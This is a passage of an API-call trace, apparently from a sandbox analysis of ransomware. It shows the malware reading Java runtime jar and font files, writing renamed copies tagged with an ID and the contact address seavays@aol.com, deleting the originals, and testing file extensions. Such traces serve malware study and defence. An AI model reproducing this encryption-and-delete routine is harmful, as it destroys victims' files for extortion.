(lpString1=".dbf", lpString2=".jar") returned -1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.391] lstrlenW (lpString=".1cd") returned 4 [0163.391] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.391] lstrlenW (lpString=".jpg") returned 4 [0163.392] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.392] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.392] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0163.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.392] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=280161) returned 1 [0163.393] CloseHandle (hObject=0x44c) returned 1 [0163.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0163.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.393] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.393] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0163.394] GetLastError () returned 0x0 [0163.394] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x44661, lpOverlapped=0x0) returned 1 [0163.633] WriteFile (in: hFile=0x450, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x44670, lpOverlapped=0x0) returned 1 [0163.641] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.641] WriteFile (in: hFile=0x450, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xfa, lpOverlapped=0x0) returned 1 [0163.641] SetEndOfFile (hFile=0x450) returned 1 [0163.641] CloseHandle (hObject=0x450) returned 1 [0163.641] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.641] SetEndOfFile (hFile=0x44c) returned 1 [0163.653] CloseHandle (hObject=0x44c) returned 1 [0163.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.653] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0163.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.654] lstrlenW (lpString=".doc") returned 4 [0163.654] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.654] lstrlenW (lpString=".docx") returned 5 [0163.654] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0163.655] lstrlenW (lpString=".pdf") returned 4 [0163.655] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.655] lstrlenW (lpString=".xls") returned 4 [0163.655] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.655] lstrlenW (lpString=".xlsx") returned 5 [0163.655] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0163.655] lstrlenW (lpString=".ppt") returned 4 [0163.655] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.655] lstrlenW (lpString=".zip") returned 4 [0163.655] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.655] lstrlenW (lpString=".rar") returned 4 [0163.655] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.655] lstrlenW (lpString=".bz2") returned 4 [0163.655] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.655] lstrlenW (lpString=".7z") returned 3 [0163.655] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.655] lstrlenW (lpString=".dbf") returned 4 [0163.655] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.655] lstrlenW (lpString=".1cd") returned 4 [0163.655] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.655] lstrlenW (lpString=".jpg") returned 4 [0163.655] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.656] lstrlenW (lpString=".doc") returned 4 [0163.656] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.656] lstrlenW (lpString=".docx") returned 5 [0163.656] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0163.656] lstrlenW (lpString=".pdf") returned 4 [0163.656] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.656] lstrlenW (lpString=".xls") returned 4 [0163.656] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.656] lstrlenW (lpString=".xlsx") returned 5 [0163.656] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0163.656] lstrlenW (lpString=".ppt") returned 4 [0163.656] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.656] lstrlenW (lpString=".zip") returned 4 [0163.656] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.656] lstrlenW (lpString=".rar") returned 4 [0163.656] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.656] lstrlenW (lpString=".bz2") returned 4 [0163.656] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.656] lstrlenW (lpString=".7z") returned 3 [0163.656] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.656] lstrlenW (lpString=".dbf") returned 4 [0163.656] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.656] lstrlenW (lpString=".1cd") returned 4 [0163.657] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0163.657] lstrlenW (lpString=".jpg") returned 4 [0163.657] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.657] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0163.657] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0163.657] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.660] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=75144) returned 1 [0163.660] CloseHandle (hObject=0x44c) returned 1 [0163.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0163.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.661] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.663] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.663] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0163.748] GetLastError () returned 0x0 [0163.749] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x12588, lpOverlapped=0x0) returned 1 [0163.767] WriteFile (in: hFile=0x468, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x12590, lpOverlapped=0x0) returned 1 [0163.769] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.769] WriteFile (in: hFile=0x468, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x104, lpOverlapped=0x0) returned 1 [0163.770] SetEndOfFile (hFile=0x468) returned 1 [0163.770] CloseHandle (hObject=0x468) returned 1 [0163.770] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.770] SetEndOfFile (hFile=0x44c) returned 1 [0163.776] CloseHandle (hObject=0x44c) returned 1 [0163.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.777] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0163.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.778] lstrlenW (lpString=".doc") returned 4 [0163.778] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0163.778] lstrlenW (lpString=".docx") returned 5 [0163.778] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0163.778] lstrlenW (lpString=".pdf") returned 4 [0163.778] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0163.778] lstrlenW (lpString=".xls") returned 4 [0163.778] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0163.778] lstrlenW (lpString=".xlsx") returned 5 [0163.778] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0163.778] lstrlenW (lpString=".ppt") returned 4 [0163.778] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0163.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.778] lstrlenW (lpString=".zip") returned 4 [0163.778] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0163.778] lstrlenW (lpString=".rar") returned 4 [0163.778] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0163.778] lstrlenW (lpString=".bz2") returned 4 [0163.779] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString=".7z") returned 3 [0163.779] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0163.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.779] lstrlenW (lpString=".dbf") returned 4 [0163.779] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.779] lstrlenW (lpString=".1cd") returned 4 [0163.779] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.779] lstrlenW (lpString=".jpg") returned 4 [0163.779] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.779] lstrlenW (lpString=".doc") returned 4 [0163.779] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString=".docx") returned 5 [0163.779] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0163.779] lstrlenW (lpString=".pdf") returned 4 [0163.779] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString=".xls") returned 4 [0163.779] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0163.779] lstrlenW (lpString=".xlsx") returned 5 [0163.779] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0163.779] lstrlenW (lpString=".ppt") returned 4 [0163.779] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0163.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.780] lstrlenW (lpString=".zip") returned 4 [0163.780] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0163.780] lstrlenW (lpString=".rar") returned 4 [0163.780] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0163.780] lstrlenW (lpString=".bz2") returned 4 [0163.780] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0163.780] lstrlenW (lpString=".7z") returned 3 [0163.780] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0163.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.780] lstrlenW (lpString=".dbf") returned 4 [0163.780] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0163.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.780] lstrlenW (lpString=".1cd") returned 4 [0163.780] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0163.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0163.780] lstrlenW (lpString=".jpg") returned 4 [0163.780] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0163.780] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0163.780] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0163.780] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.781] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=75124) returned 1 [0163.781] CloseHandle (hObject=0x44c) returned 1 [0163.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0163.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.782] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.782] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0163.783] GetLastError () returned 0x0 [0163.783] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x12574, lpOverlapped=0x0) returned 1 [0163.790] WriteFile (in: hFile=0x468, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x12580, lpOverlapped=0x0) returned 1 [0163.793] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.793] WriteFile (in: hFile=0x468, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x108, lpOverlapped=0x0) returned 1 [0163.793] SetEndOfFile (hFile=0x468) returned 1 [0163.793] CloseHandle (hObject=0x468) returned 1 [0163.793] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.794] SetEndOfFile (hFile=0x44c) returned 1 [0164.004] CloseHandle (hObject=0x44c) returned 1 [0164.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0164.087] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.254] lstrlenW (lpString=".doc") returned 4 [0164.254] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString=".docx") returned 5 [0164.254] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0164.254] lstrlenW (lpString=".pdf") returned 4 [0164.254] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString=".xls") returned 4 [0164.254] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0164.254] lstrlenW (lpString=".xlsx") returned 5 [0164.254] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0164.254] lstrlenW (lpString=".ppt") returned 4 [0164.254] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.254] lstrlenW (lpString=".zip") returned 4 [0164.254] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0164.254] lstrlenW (lpString=".rar") returned 4 [0164.254] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString=".bz2") returned 4 [0164.254] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString=".7z") returned 3 [0164.254] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.254] lstrlenW (lpString=".dbf") returned 4 [0164.254] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.254] lstrlenW (lpString=".1cd") returned 4 [0164.254] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.254] lstrlenW (lpString=".jpg") returned 4 [0164.254] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.255] lstrlenW (lpString=".doc") returned 4 [0164.255] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0164.255] lstrlenW (lpString=".docx") returned 5 [0164.255] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0164.255] lstrlenW (lpString=".pdf") returned 4 [0164.255] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0164.255] lstrlenW (lpString=".xls") returned 4 [0164.255] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0164.255] lstrlenW (lpString=".xlsx") returned 5 [0164.255] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0164.255] lstrlenW (lpString=".ppt") returned 4 [0164.255] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.255] lstrlenW (lpString=".zip") returned 4 [0164.255] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0164.255] lstrlenW (lpString=".rar") returned 4 [0164.255] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0164.255] lstrlenW (lpString=".bz2") returned 4 [0164.255] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0164.255] lstrlenW (lpString=".7z") returned 3 [0164.255] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.255] lstrlenW (lpString=".dbf") returned 4 [0164.255] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0164.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 